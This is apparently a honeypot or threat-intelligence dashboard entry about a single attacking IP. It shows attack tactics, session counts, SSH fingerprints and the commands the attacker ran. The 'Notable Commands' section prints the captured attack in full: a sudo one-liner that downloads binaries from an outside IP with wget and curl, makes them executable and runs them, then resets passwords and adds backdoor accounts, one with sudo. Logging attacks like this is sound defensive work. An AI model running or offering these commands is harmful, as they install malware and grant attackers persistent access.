← Back to feed
Location
🇺🇸 US / Washington
ASN
AS396982 · Google LLC
Cloud Provider
—
Total Events
108
Above average by volume
Agent Count
1
First / Last Seen
2026-05-31 13:23 — 2026-05-31 13:25
Attack Types
MITRE ATT&CK Techniques
Initial Access
Execution
Defense Evasion
Discovery
Command and Control
External Corroboration
Blocklist.de
blocklist_de:reported
Session Forensics
Sessions
16 (1 with login)
Avg Depth Score
0.24
Commands Executed
26
Files Downloaded
1
Notable Commands
- echo 'qwerty' | sudo -S sh -c 'cd /tmp; ulimit -n 1020000; rm -rf meow*; wget http://34.11.136.102/meow; curl -O http://34.11.136.102/meow; chmod 777 meow; ./meow; wget http://34.11.136.102/meowarm64; curl -O http://34.11.136.102/meowarm64; chmod 777 meowarm64; ./meowarm64; echo $(whoami):modzmodz | chpasswd; useradd -m -s /bin/bash admin1; echo admin1:modzmodz | chpasswd; usermod -aG sudo admin1; useradd -m -s /bin/bash user1; echo user1:modzmodz | chpasswd; echo -n $(whoami):qwerty > /tmp/mew' 2>/dev/null || (cd /tmp; ulimit -n 1020000; rm -rf meow*; wget http://34.11.136.102/meow; curl -O http://34.11.136.102/meow; chmod 777 meow; ./meow; wget http://34.11.136.102/meowarm64; curl -O http://34.11.136.102/meowarm64; chmod 777 meowarm64; ./meowarm64; echo $(whoami):modzmodz | chpasswd; useradd -m -s /bin/bash admin1; echo admin1:modzmodz | chpasswd; usermod -aG sudo admin1; useradd -m -s /bin/bash user1; echo user1:modzmodz | chpasswd; echo -n $(whoami):qwerty > /tmp/mew)
- whoami
- cd /tmp
- ulimit -n 1020000
- rm -rf meow*
- wget http://34.11.136.102/meow
- curl -O http://34.11.136.102/meow
- chmod 777 meow
- ./meow
Fingerprints
HASSH
SSH Client
Evidence Timeline
Malware Dropper
c24233630af3
LOGIN
26
1
1
100%
Loading events...
HASSH 16443846184eafd…
SSH-2.0-Go
$ echo 'qwerty' | sudo -S sh -c 'cd /tmp; ulimit -n 1020000; …$ whoami$ whoami$ cd /tmp$ ulimit -n 1020000